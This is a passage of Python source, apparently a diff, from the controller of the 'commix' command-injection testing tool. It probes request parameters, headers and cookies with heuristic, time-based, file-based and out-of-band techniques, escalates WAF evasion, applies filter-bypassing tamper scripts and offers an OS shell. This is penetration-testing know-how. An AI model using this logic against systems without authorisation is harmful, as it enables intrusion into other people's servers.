_urllib.parse.unquote(settings.TESTABLE_VALUE) + decoded = checks.strip_encoding(carried, description) + # Written out again it has to give back what arrived, or what was read was not the value. + if checks.apply_encoding(decoded, description) != carried: + raise ValueError("the value is not written in that encoding") + settings.VALUE_ENCODING = description + if decoded != settings.TESTABLE_VALUE: + if menu.options.data: + menu.options.data = menu.options.data.replace(settings.TESTABLE_VALUE, decoded) + # The envelope is taken off wherever the value rides, not just in the body and the URL - a + # carrier left holding the written-out value appends the payload to that instead, and what + # goes out is the whole envelope with the payload after it rather than the value replaced. + for option in ("cookie", "header", "headers", "host", "referer", "agent", "auth_cred"): + carried = getattr(menu.options, option, None) + if carried and settings.TESTABLE_VALUE in str(carried): + setattr(menu.options, option, str(carried).replace(settings.TESTABLE_VALUE, decoded)) + url = url.replace(settings.TESTABLE_VALUE, decoded) + settings.TESTABLE_VALUE = decoded + + # Read off the value itself, not the spelling the URL carries it in: a base64 value's own padding + # rides as '%3D', and a descriptor worked out from that reads the value as carrying none - so + # writing it back out drops the padding and the value no longer matches what arrived. + named = checks.named_encoding(check_parameter, _urllib.parse.unquote(settings.TESTABLE_VALUE)) + if settings.LOAD_SESSION: + """ + A finding read back from a session carries the encoding it was made with, so there is nothing + to work out here. A name is only a fallback for a row stored before that was kept - and there, + a value that will not decode is one that was stored already decoded. + """ + if named and not settings.VALUE_ENCODING: + try: + read_value_as(named) + except Exception: + pass + elif named: + # Named for this parameter, which settles it without asking. + try: + read_value_as(named) + except Exception: + err_msg = "The " + str(check_parameter) + " parameter does not carry a valid " + err_msg += str(settings.PARAMETER_ENCODINGS.get(check_parameter, settings.PARAMETER_ENCODING_DEFAULT)) + err_msg += "-encoded value ('" + str(settings.TESTABLE_VALUE) + "')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + elif not menu.options.skip_heuristics: + # Otherwise it is recognised, and what it stands for is what the rest of the run tests. + decoded, _encoding = checks.recognise_payload(payload=settings.TESTABLE_VALUE) + if settings.VALUE_ENCODING and decoded != settings.TESTABLE_VALUE: + if menu.options.data: + menu.options.data = menu.options.data.replace(settings.TESTABLE_VALUE, decoded) + url = url.replace(settings.TESTABLE_VALUE, decoded) + settings.TESTABLE_VALUE = decoded + + is_dynamic = check_parameter_dynamism(url, http_request_method, check_parameter) + if is_dynamic is False and menu.options.skip_static and not checks.explicitly_testable(check_parameter): + info_msg = "Skipping static parameter '" + check_parameter + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return + + url = attempt_skip_testable_value(url, http_request_method, check_parameter) + + # Both, where the target's own answer did not identify one - that being what the question asked. + # Taken by name: the class carries more attributes than the two, so slicing them handed back a + # module path as an operating system. + if settings.CHECK_BOTH_OS: + os_targets = [settings.OS.UNIX, settings.OS.WINDOWS][:settings.OS_CHECKS_NUM] + else: + os_targets = [settings.TARGET_OS or settings.OS.UNIX] + + # Loop over the selected OS targets + for os_target in os_targets: + # A heuristic on an earlier pass may have settled which shell answers. Sweeping the other one + # then costs a second full pass and, worse, writes over what was identified. + if settings.IDENTIFIED_TARGET_OS and settings.TARGET_OS != os_target: + continue + settings.TARGET_OS = os_target + + if settings.PERFORM_BASIC_SCANS: + if not settings.LOAD_SESSION: + settings.LOAD_SESSION = None + basic_level_checks() + + inject_http_headers = check_parameter_in_http_header(check_parameter, place) + + if inject_http_headers: + checks.define_vulnerable_http_header(check_parameter) + + # User-Agent/Referer/Host/Custom HTTP header Injection(s) + if any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + header_name = "" + the_type = "HTTP Header" + inject_parameter = " parameter '" + check_parameter + "'" + else: + if settings.COOKIE_INJECTION: + header_name = settings.COOKIE + else: + header_name = "" + the_type = " parameter" + inject_parameter = " '" + check_parameter + "'" + + # Nothing left to probe when all required time-related techniques were resumed. + time_techniques_resumed = False + if checks.technique_selected("t") or checks.technique_selected("f"): + needed_time_techniques = set() + if checks.technique_selected("t"): + needed_time_techniques.add(settings.INJECTION_TECHNIQUE.TIME_BASED) + if checks.technique_selected("f"): + needed_time_techniques.add(settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) + time_techniques_resumed = settings.LOAD_SESSION and needed_time_techniques.issubset(settings.STORED_TECHNIQUES.keys()) + + # Defer response-time estimation until a time-related technique is about to run. + url_time_response = 0 + _time_warmup_done = False + # Take the timing model once, before the first technique that needs one. + def _ensure_time_warmup(): + nonlocal timesec, url_time_response, _time_warmup_done + if _time_warmup_done or settings.SKIP_COMMAND_INJECTIONS: + return + _time_warmup_done = True + if time_techniques_resumed: + url_time_response = 0 + elif settings.ESTIMATED_TIMESEC is not None: + # How long the target takes to answer is the target's own, not this parameter's: measured + # once, and read by every parameter after it. + timesec, url_time_response = settings.ESTIMATED_TIMESEC, settings.URL_TIME_RESPONSE + else: + timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) + settings.ESTIMATED_TIMESEC = timesec + + # Load modules + modules_handler.load_modules(url, http_request_method, filename) + + settings.CHECKING_PARAMETER = "" + if not header_name == settings.COOKIE and not the_type == "HTTP Header": + settings.CHECKING_PARAMETER = checks.check_http_method(url) + settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] + if header_name == settings.COOKIE : + settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) + elif the_type == "HTTP Header": + settings.CHECKING_PARAMETER += check_parameter.title() + " HTTP Header" + else: + settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) + + if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not checks.already_tested(place, check_parameter): + settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER + + """ + A rewrite adopted for the parameter before this one is dropped here. + + What got past that parameter's filter says nothing about this one, and the scripts are not free + to carry: '${IFS}' in place of every space is itself filtered on some targets, so a parameter + that would have answered a plain payload is reported as not injectable instead - found only by + testing it on its own. Whatever this parameter needs, it adopts again for itself. + """ + checks.drop_auto_tampers() + + if not settings.LOAD_SESSION: + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping heuristic (basic) test on the " + settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + else: + if not settings.LOAD_SESSION: + checks.recognise_payload(payload=settings.TESTABLE_VALUE) + info_msg = "Performing heuristic (basic) test on the " + settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, place) + + # Asked for out-of-band, so probe the channel either way: whether the target can reach it + # at all, and over which client, is a separate question from whether it is injectable. + if menu.options.oob: + url = oob_heuristic_basic(url, http_request_method, check_parameter, place) + + # What this looks for is the sink, not a technique, so which technique will carry it has no + # bearing on whether it is worth looking - and where the switch was not given at all, this + # is what offers it. + if not settings.IDENTIFIED_COMMAND_INJECTION: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, place) + except KeyboardInterrupt: + try: + checks.handle_detection_interrupt(filename, url) + except (settings.SkipTechniqueException, settings.RetryTechniqueException): + # No technique is running yet at this stage - just skip past heuristics. + pass + except settings.EndDetectionPhaseException: + break + + # Asked last and only where nothing else could answer, "no" still being a fair answer. + if settings.OS_IDENTIFICATION_PENDING: + settings.OS_IDENTIFICATION_PENDING = False + warn_msg = "Unable to fingerprint the target operating system." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + checks.define_target_os() + + # The probe above is written with the same '$(...)' every payload after it is, so a filter + # on that one character refuses it before the sink is reached - and the parameter is put + # down as not injectable rather than as asked the wrong way. One more ask, with the + # substitution written as backticks, settles which of the two it was. Paid for only where + # the probe already found nothing, and only once the user has said it is worth paying. + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE and \ + checks.may_retry_through_backticks() and checks.backtick_retry_consent(): + settings.AUTO_TAMPER.append("backticks") + checks.tamper_scripts(stored_tamper_scripts=False) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, place) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE: + # It answered nothing either, so the rest of this parameter is not carried through a + # script that turned out to be about something else. + checks.drop_auto_tampers() + + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_EVAL_PROBE: + settings.HEURISTIC_TEST.POSITIVE = False + warn_msg = "Heuristic (basic) test shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + + if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): + info_msg = "Skipping " + info_msg += settings.CHECKING_PARAMETER + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.HEURISTIC_TEST.POSITIVE = True + else: + if menu.options.failed_tries and \ + menu.options.tech and not "f" in menu.options.tech: + warn_msg = "Due to the provided (unsuitable) injection technique" + warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " + warn_msg += "ignoring the option '--failed-tries'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + # Procced with file-based blind command injection technique, + # once the user provides the path of web server's root directory. + if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech: + menu.options.web_root = checks.normalize_target_dir(menu.options.web_root) + # Asked once and held for the run, since the technique list it narrows is put back for + # every parameter - the question is about the document root, which does not change. + if settings.FILE_BASED_NARROWING_CHOICE is None: + settings.FILE_BASED_NARROWING_CHOICE = checks.procced_with_file_based_technique() + if settings.FILE_BASED_NARROWING_CHOICE: + menu.options.tech = "f" + + # Whether a stored finding already answers what this technique would ask. + def _time_related_resume_redundant(): + # A resumed finding is already confirmed, so re-verifying the slow ones adds nothing + # when a results-based technique is stored too. + return settings.LOAD_SESSION and not settings.USER_APPLIED_TECHNIQUE and any( + _ in settings.STORED_TECHNIQUES for _ in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE)) + + # Test the parameter by how long the target takes to answer. + def _run_time_based(): + if _time_related_resume_redundant(): + return + if checks.technique_selected("t", eval_sink=bool(menu.options.eval_sink)): + _ensure_time_warmup() + # A resumed finding is re-verified against its own full delay, so the model can wait + # until the first command actually needs it. + if not (settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TIME_BASED in settings.STORED_TECHNIQUES): + checks.warm_up_response_baseline(url, http_request_method) + return timebased_technique(url, timesec, filename, http_request_method, url_time_response) + + # Test the parameter by a file the target writes and then serves back. + def _run_file_based(): + if _time_related_resume_redundant(): + return + if len(menu.options.tech) == 0 or "f" in menu.options.tech: + _ensure_time_warmup() + return filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + + end_detection = False + techniques = [ + lambda: results_based_command_injection_technique(url, timesec, filename, http_request_method), + lambda: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method), + _run_time_based, + _run_file_based, + lambda: oob_command_injection_technique(url, timesec, filename, http_request_method), + ] + # Ahead of the delay-based one, being the cheaper way to ask the same question - and tried like + # any other technique, since the page it reads its answer off is there whether or not the run + # named what a true answer looks like. + techniques.insert(2, lambda: boolean_based_technique(url, timesec, filename, http_request_method)) + # Work through the techniques in turn, carrying on past the ones that find nothing. + def _run_techniques(): + technique_idx = 0 + while technique_idx < len(techniques): + try: + techniques[technique_idx]() + # The evasion was stepped up while this ran, so the technique never got a fair try. + if settings.WAF_EVASION_ESCALATED: + settings.WAF_EVASION_ESCALATED = False + continue + technique_idx += 1 + except settings.SkipTechniqueException: + technique_idx += 1 + except settings.RetryTechniqueException: + pass + except settings.EndDetectionPhaseException: + return True + return False + + def _reset_web_root_detection(): + # A retry below is the one case where the web root genuinely needs working out again: + # the candidate list a filtered-out pass already walked through and gave up on says + # nothing about whether the tamper this retry is about to apply would have fared any + # better on any one of those same candidates - left alone, 'custom_web_root()' sees + # candidates already exhausted and reaches straight past all of them for '/tmp/'. And + # 'menu.options.web_root' is what the first pass's own result gets cached into once it + # settles on one - left set, 'check_tmp_path()' reuses that cached answer directly and + # never calls back into 'custom_web_root()' at all, retry or not. + settings.CUSTOM_WEB_ROOT = False + settings.WEB_ROOT_CANDIDATES = [] + settings.WEB_ROOT_SETTLED_ONCE = False + settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT + menu.options.web_root = False + + """ + One pass of the techniques, and the verification of whatever it confirmed. + + Verified here rather than once at the end, because everything below reads "has anything been + confirmed yet" to decide whether to reach further. A finding that the re-ask takes back is not + a confirmation, and counted as one it closes every escalation behind it: the run reports "not + injectable" having skipped the passes that would have looked. Costs nothing on a pass that + confirmed nothing, which is the pass this is standing in front of. + """ + def _run_and_verify(): + mark = len(settings.CONFIRMED_INJECTION_POINTS) + ended = _run_techniques() + checks.final_false_positive_check(url, http_request_method, check_parameter, timesec, mark) + return ended + + # An escalation already handled during the heuristic test, ahead of this first pass, would + # otherwise read here as "stepped up while the technique about to run was mid-flight" - and + # send the very first technique around a second, needless time before it is even one request in. + settings.WAF_EVASION_ESCALATED = False + end_detection = _run_and_verify() + # Nothing got through while a protection is in the way, so reach for a heavier evasion and + # give the techniques another go - being blocked throughout is the answer this waits for. + while not end_detection and checks.injection_techniques_status() is False and \ + settings.WAF_ENABLED and checks.escalate_waf_evasion(on_block=False): + settings.WAF_EVASION_ESCALATED = False + _reset_web_root_detection() + end_detection = _run_and_verify() + + """ + Whether this run gets to reach for a rewrite of its own. + + '--tamper' is the user's own answer to the question these passes exist to ask, so where it was + given, it is the only answer applied - a script added behind it is one they did not ask for, + and stacking ours on top is what earns the "too many tamper scripts" warning against a run + that named exactly one. + """ + def _may_adopt_tamper(): + return not (settings.USER_APPLIED_TAMPER or menu.options.tamper) + + """ + Whether to go around a filtered whitespace at all. + + Sending every technique around again costs about what the pass before it did, so it is offered + rather than spent unannounced. Asked once and held for the run: the answer is about the + target's own filter, not about whichever technique happened to come back empty first. + """ + def _accepts_whitespace_retry(): + if settings.WHITESPACE_RETRY_CHOICE is None: + # Only what was actually established is stated here. That nothing was confirmed with a + # plain whitespace is a fact about this run; that the target is filtering one is a guess, + # and far more often than not the parameter simply never reached a shell - a mistyped + # name answers exactly like a filtered space does. The guess belongs in the question, + # where it reads as the reason to try rather than as something already found. + # Worded as the WAF/IPS consent next to it is, since it is the same question asked about a + # different obstacle. No script named: one is turned on here and another behind it where + # that one is filtered too, so naming the first reads as a promise that it is the only + # one - each says which it loaded as it loads it, which is where that belongs. + message = "Do you want " + settings.APPLICATION + " to try again in case plain whitespace is being filtered " + message += "(e.g. by using whitespace tamper scripts)? [Y/n] " + settings.WHITESPACE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.WHITESPACE_RETRY_CHOICE + + def _accepts_replaced_value_retry(): + if settings.REPLACE_VALUE_RETRY_CHOICE is None: + # Asked for the same reason the two above are: nothing was confirmed, and that the sink + # reads the value's own first byte is the guess that makes another pass worth paying for. + message = "Do you want " + settings.APPLICATION + " to try again with the payload in place of " + message += "the parameter's value rather than behind it? [Y/n] " + settings.REPLACE_VALUE_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.REPLACE_VALUE_RETRY_CHOICE + + def _accepts_dashless_retry(): + if settings.DASHLESS_RETRY_CHOICE is None: + # Asked for the same reason the whitespace one above is: what was established is that + # nothing was confirmed, and that the target filters a dash is the guess that makes + # another pass worth paying for - so it belongs in the question rather than stated as + # something already found. + message = "Do you want " + settings.APPLICATION + " to try again in case a dash ('-') is being filtered " + message += "(e.g. by using a tamper script that writes its tests without one)? [Y/n] " + settings.DASHLESS_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.DASHLESS_RETRY_CHOICE + + + """ + Whether to go around a filter built on what the payloads print with. + + Asked for the same reason the two above are: nothing was confirmed, and that the target + refuses the one name and format every POSIX payload carries is the guess that makes another + pass worth paying for - so it belongs in the question rather than stated as something found. + """ + def _accepts_printer_retry(): + if settings.PRINTER_RETRY_CHOICE is None: + if settings.PRINTER_ANSWERED == "echo": + # The heuristic test went out printing with both names and came back carrying one of + # them, so what was found is stated on its own line rather than put in the question - + # the choice stays the user's, as it is for every other pass. + warn_msg = "The heuristic test answered where it printed with 'echo' only, so 'printf' appears to be filtered." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "Do you want " + settings.APPLICATION + " to enable the 'printf2echo' tamper script? [Y/n] " + else: + message = "Do you want " + settings.APPLICATION + " to try again in case what the payloads print with " + message += "is being filtered (e.g. by using a tamper script that prints with 'echo')? [Y/n] " + settings.PRINTER_RETRY_CHOICE = common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO + return settings.PRINTER_RETRY_CHOICE + + # A filter that rejects any literal whitespace blocks the heuristic test the same as every + # technique, so gating this on a positive heuristic would never fire for the one case it + # exists for. 'MULTI_ENCODED_PAYLOAD' already carrying the script is what keeps it from + # firing twice, or where it was asked for by name. + if not end_detection and checks.injection_techniques_status() is False and \ + _may_adopt_tamper() and "space2ifs" not in settings.MULTI_ENCODED_PAYLOAD and \ + _accepts_whitespace_retry(): + settings.AUTO_TAMPER.append("space2ifs") + checks.tamper_scripts(stored_tamper_scripts=False) + _reset_web_root_detection() + end_detection = _run_and_verify() + + # '${IFS}' is itself '$'-based, so a filter that blocks '$' along with the whitespace leaves + # that pass no better off than the one before it. A horizontal tab is still a plain POSIX + # word separator and needs no such substitution. + if not end_detection and checks.injection_techniques_status() is False and \ + _may_adopt_tamper() and "space2htab" not in settings.MULTI_ENCODED_PAYLOAD and \ + _accepts_whitespace_retry(): + settings.AUTO_TAMPER.append("space2htab") + checks.tamper_scripts(stored_tamper_scripts=False) + _reset_web_root_detection() + end_detection = _run_and_verify() + + # A filter built around '-' rather than whitespace is a different question - every + # numeric 'test' commix writes, including the final litmus below, leans on '-eq'/'-ne' for + # it. 'dashlesstest' already reads those the dash-free way ('='/'!='), so this is the one + # case left where retrying on a tamper already built for something else solves it outright. + if not end_detection and checks.injection_techniques_status() is False and \ + _may_adopt_tamper() and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD and \ + _accepts_dashless_retry(): + settings.AUTO_TAMPER.append("dashlesstest") + # Announced the way '--tamper' announces its own, rather than in a sentence of its own: + # what is loaded is the same thing either way, and worth reading as the same line. + checks.tamper_scripts(stored_tamper_scripts=False) + _reset_web_root_detection() + end_detection = _run_and_verify() + + # The name and the format are in every POSIX payload alike - the heuristic test's own + # included - so a filter built on either refuses the lot for the one reason, which reads as a + # parameter with no way in rather than as a string being turned away. 'printf2echo' prints + # with 'echo' throughout, which is the one other name a payload here can print with. + if not end_detection and checks.injection_techniques_status() is False and \ + _may_adopt_tamper() and "printf2echo" not in settings.MULTI_ENCODED_PAYLOAD and \ + _accepts_printer_retry(): + settings.AUTO_TAMPER.append("printf2echo") + checks.tamper_scripts(stored_tamper_scripts=False) + _reset_web_root_detection() + end_detection = _run_and_verify() + + # The one obstacle none of the passes above can be written around: every command substitution + # commix writes is opened with '$', and so is the '${IFS}' the first whitespace pass reaches + # for - so a filter built on that character refuses them all, the dash-free tests included. + # A backtick opens the same substitution and is a different character, which is the whole of + # what is being asked here. Not offered where the substitution is not the shell's to make: + # 'cmd.exe' has no backtick, and an interpreter is handed a program rather than a shell line. + if not end_detection and checks.injection_techniques_status() is False and \ + checks.may_retry_through_backticks() and checks.backtick_retry_consent(): + settings.AUTO_TAMPER.append("backticks") + checks.tamper_scripts(stored_tamper_scripts=False) + _reset_web_root_detection() + end_detection = _run_and_verify() + + # Not a filter at all, unlike the four passes above: the value is reaching the sink intact + # and is the problem itself, because this sink reads its first byte rather than the end of it. + # Left set only where it confirmed something - a pass that found nothing would otherwise hand + # the next parameter a value already replaced, and have it tested that way alone. + # Left alone where the user named a prefix of their own: that already stands in place of the + # value rather than behind it, so this pass would send the very same requests a second time + # and ask a question about something already settled. + if not end_detection and checks.injection_techniques_status() is False and \ + not settings.REPLACE_VALUE and settings.TESTABLE_VALUE and \ + not menu.options.prefix and _accepts_replaced_value_retry(): + settings.REPLACE_VALUE = True + _reset_web_root_detection() + end_detection = _run_and_verify() + if checks.injection_techniques_status() is False: + settings.REPLACE_VALUE = False + + """ + The optimisation put back, where the pass that took it confirmed nothing. + + Dropping the value is an optimisation and never evidence: the heuristic showed the sink runs + without it, which is not the same as every technique reaching that sink without it. A target + that validates what it is given can answer the heuristic and still take another path once the + value is three random letters, and a run that stopped there would report a parameter as not + injectable on the strength of a request it sent in order to go faster. + + So the value goes back and the pass is made again, at the price it would have cost all along. + Refused afterwards, so the probe does not drop it a second time and send this round in a loop. + """ + if not end_detection and checks.injection_techniques_status() is False and settings.VALUE_SKIPPED_EARLY: + original_value, placeholder, original_url, original_data = settings.VALUE_SKIPPED_EARLY + settings.VALUE_SKIPPED_EARLY = None + settings.VALUE_SKIP_REFUSED = True + settings.TESTABLE_VALUE_OPTIMIZED = False + settings.TESTABLE_VALUE = original_value + # Nothing stood in for it in the end, so nothing is left to write back into a payload. + settings.TESTABLE_VALUE_STOOD_IN_FOR = "" + menu.options.data = original_data + url = original_url + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Nothing was confirmed without the parameter's own value, so it is restored and tested again." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + _reset_web_root_detection() + end_detection = _run_and_verify() + + # All injection techniques seems to be failed! + if checks.injection_techniques_status() is False: + warn_msg = settings.CHECKING_PARAMETER + warn_msg += " does not seem to be injectable." + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + else: + if settings.LOAD_SESSION: + if settings.STORED_TECHNIQUES: + rows = [(row[1], row[2], row[5], row[10], "HTTP Header" if row[11] else row[12]) for row in settings.STORED_TECHNIQUES.values()] + checks.resumed_injection_points_summary(rows) + checks.suggest_os_shell() + checks.quit(filename, url, hard_exit=False) + elif settings.CONFIRMED_INJECTION_POINTS and not settings.ASKED_KEEP_TESTING: + settings.ASKED_KEEP_TESTING = True + if checks.prompt_keep_testing(url): + checks.quit(filename, url, hard_exit=False) + + if not settings.CHECK_BOTH_OS or end_detection: + break + +""" +Whether this parameter already has a stored session - used to test known-vulnerable ones first. +""" +def has_stored_session(url, check_parameter, http_request_method): + if menu.options.ignore_session or menu.options.flush_session or not os.path.isfile(settings.SESSION_FILE): + return False + try: + return bool(session_handler.load_stored_techniques(url, check_parameter, http_request_method)) + except Exception: + return False + +""" +Perform injection for a specific HTTP header (User-Agent, Referer, or Host) +""" +def http_headers_injection(url, http_request_method, filename, timesec): + + # Test one HTTP header as the parameter, then put back what it held. + def inject_header(header_attr, option_attr, injection_flag_attr): + # Save the original value of the option (to restore later) + original_value = getattr(menu.options, option_attr) + + # Enable the corresponding injection flag + setattr(settings, injection_flag_attr, True) + + # Get the header name (e.g. "user-agent", "referer", "host") + header_name = getattr(settings, header_attr).lower() + settings.HTTP_HEADER = check_parameter = header_name + + # Check if the session has stored data for this header + new_url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) + + # If the header was replaced or injection failed, reset the injection flag + reset_flag = check_parameter != header_name + if not reset_flag: + try: + reset_flag = not injection_process(new_url, check_parameter, http_request_method, filename, timesec, getattr(settings, header_attr)) + except settings.NextParameterException: + reset_flag = True + if reset_flag: + setattr(settings, injection_flag_attr, None) + + # Restore the original option value + setattr(menu.options, option_attr, original_value) + + # If no specific test or skip parameters and no injection flags are set, test all headers + no_injection_flags = not settings.USER_AGENT_INJECTION and not settings.REFERER_INJECTION and not settings.HOST_INJECTION + no_test_or_skip = menu.options.test_parameter is None and menu.options.skip_parameter is None + + # Determine whether a header should be tested for injection + def test_header(header_attr): + # Check if the corresponding injection flag is already active + if getattr(settings, header_attr.upper() + "_INJECTION"): + return True + + # A marker naming one header asks for that header - the others are reached only when nothing + # named a specific one, or the rest would be tested off the back of a request for this one. + if not no_injection_flags: + return False + + # Named as it is written: 'ua', 'useragent' and 'user-agent' all ask for the same header. + if settings.TESTABLE_PARAMETERS_LIST: + return checks.header_named(getattr(settings, header_attr), settings.TESTABLE_PARAMETERS_LIST) + if settings.SKIP_PARAMETERS_LIST: + return not checks.header_named(getattr(settings, header_attr), settings.SKIP_PARAMETERS_LIST) + return True + + # Test already-confirmed headers first, not in fixed order. + headers = ["USER_AGENT", "REFERER", "HOST"] + headers.sort(key=lambda header_attr: not has_stored_session(url, getattr(settings, header_attr).lower(), http_request_method)) + header_args = { + "USER_AGENT": ("agent", "USER_AGENT_INJECTION"), + "REFERER": ("referer", "REFERER_INJECTION"), + "HOST": ("host", "HOST_INJECTION"), + } + + if no_injection_flags and no_test_or_skip: + for header_attr in headers: + inject_header(header_attr, *header_args[header_attr]) + else: + # Conditional injection based on test/skip flags or predefined injection settings + for header_attr in headers: + if test_header(header_attr): + inject_header(header_attr, *header_args[header_attr]) + +""" +Inject Cookie parameters +""" +def cookie_injection(url, http_request_method, filename, timesec): + if not menu.options.cookie: + check_parameter = settings.COOKIE.lower() + check_for_stored_sessions(url, check_parameter, http_request_method) + + cookie = menu.options.cookie + if cookie: + settings.COOKIE_INJECTION = True + # Cookie Injection + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + settings.HTTP_HEADER = header_name[1:].lower() + cookie_parameters = parameters.do_cookie_check(menu.options.cookie) + if type(cookie_parameters) is str: + cookie_parameters_list = [] + cookie_parameters_list.append(cookie_parameters) + cookie_parameters = cookie_parameters_list + do_injection(cookie_parameters, settings.COOKIE, url, http_request_method, filename, timesec) + + if settings.COOKIE_INJECTION: + # Restore cookie value + menu.options.cookie = cookie + # Disable cookie injection + settings.COOKIE_INJECTION = False + +""" +Remove parameters containing the injection tag from the testable parameters list. +""" +def filtered_testable_parameters(): + settings.TESTABLE_PARAMETERS_LIST = [ + param for param in settings.TESTABLE_PARAMETERS_LIST + if settings.INJECT_TAG not in param] + return settings.TESTABLE_PARAMETERS_LIST + +""" +Process a list of parameters to test for injection vulnerabilities. +""" +def do_injection(found, data_type, url, http_request_method, filename, timesec): + + """ + Validate parameter names using allowed characters: + letters, digits, underscores, hyphens, dots, and square brackets. + """ + def is_valid_param_name(name): + if not isinstance(name, str): + return False + name = name.strip() + if not name: + return False + return bool(re.match(r'^[\w._\-\[\]]+$', name, re.UNICODE)) + + """ + Define the check parameter based on the data type (POST, GET, COOKIE). + """ + def define_check_parameter(param, current_url): + if data_type == settings.HTTPMETHOD.POST: + menu.options.data = param + check_param = parameters.vuln_POST_param(param, current_url) + elif data_type == settings.HTTPMETHOD.GET: + current_url = param + check_param = parameters.vuln_GET_param(current_url) + elif data_type == settings.COOKIE: + menu.options.cookie = param + check_param = parameters.specify_cookie_parameter(param) + else: + check_param = "" + return current_url, check_param + + """ + Return a unique identifier for the parameter by prefixing it with the data type. + """ + def get_contextual_name(check_param): + return checks.tested_parameter_name(data_type, check_param) + + """ + Perform the injection call and update tested parameters. + """ + def injection_call(url, check_param): + contextual_name = get_contextual_name(check_param) + url, check_param = define_check_parameter(found[index], url) + url, check_param = check_for_stored_sessions(url, check_param, http_request_method) + # Dispatched as a GET, POST or Cookie parameter, and tested as one whatever it is named. + injection_process(url, check_param, http_request_method, filename, timesec, data_type) + settings.TESTED_PARAMETERS_LIST.append(contextual_name) + + check_parameters = [] + param_mapping = {} + + # Filter and validate parameters to prepare for injection tests + for param in found: + url, check_param = define_check_parameter(param, url) + if not check_param: + continue + contextual_name = get_contextual_name(check_param) + if contextual_name in settings.TESTED_PARAMETERS_LIST: + continue + if not is_valid_param_name(check_param): + continue + check_parameters.append(check_param) + param_mapping[check_param] = param + + # Prepare testable parameters + filtered_testable_parameters() + checks.testable_parameters(url, check_parameters) + + # Custom marker parameters are always targeted, regardless of -p/--skip. + custom_params = set(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) \ + if settings.CUSTOM_INJECTION_MARKER else set() + + # Test already-confirmed parameters first, not in request order. + if not menu.options.ignore_session and not menu.options.flush_session and os.path.isfile(settings.SESSION_FILE): + # Whether this parameter already has a finding stored from an earlier run. + def has_stored_session(check_param): + try: + return bool(session_handler.load_stored_techniques(url, check_param, http_request_method)) + except Exception: + return False + check_parameters.sort(key=lambda param: not has_stored_session(param)) + + for check_param in check_parameters: + contextual_name = get_contextual_name(check_param) + if contextual_name in settings.TESTED_PARAMETERS_LIST: + continue + + try: + original_param = param_mapping[check_param] + index = found.index(original_param) + except (KeyError, ValueError): + continue + + if check_param in custom_params or checks.is_parameter_testable(check_param): + try: + injection_call(url, check_param) + except settings.NextParameterException: + continue + +""" +Check if HTTP Method is GET. +""" +def get_request(url, http_request_method, filename, timesec): + found_url = parameters.do_GET_check(url, http_request_method) + + if found_url is not False: + do_injection(found_url, settings.HTTPMETHOD.GET, url, http_request_method, filename, timesec) + +""" +Check if HTTP Method is POST. +""" +def post_request(url, http_request_method, filename, timesec): + + parameter = settings.USER_DEFINED_POST_DATA + found_parameter = parameters.do_POST_check(parameter, http_request_method) + + if type(found_parameter) is str: + found_parameter_list = [] + found_parameter_list.append(found_parameter) + found_parameter = found_parameter_list + + if any((settings.IS_JSON, settings.IS_XML)): + # Remove junk data + found_parameter = [x for x in found_parameter if settings.INJECT_TAG in 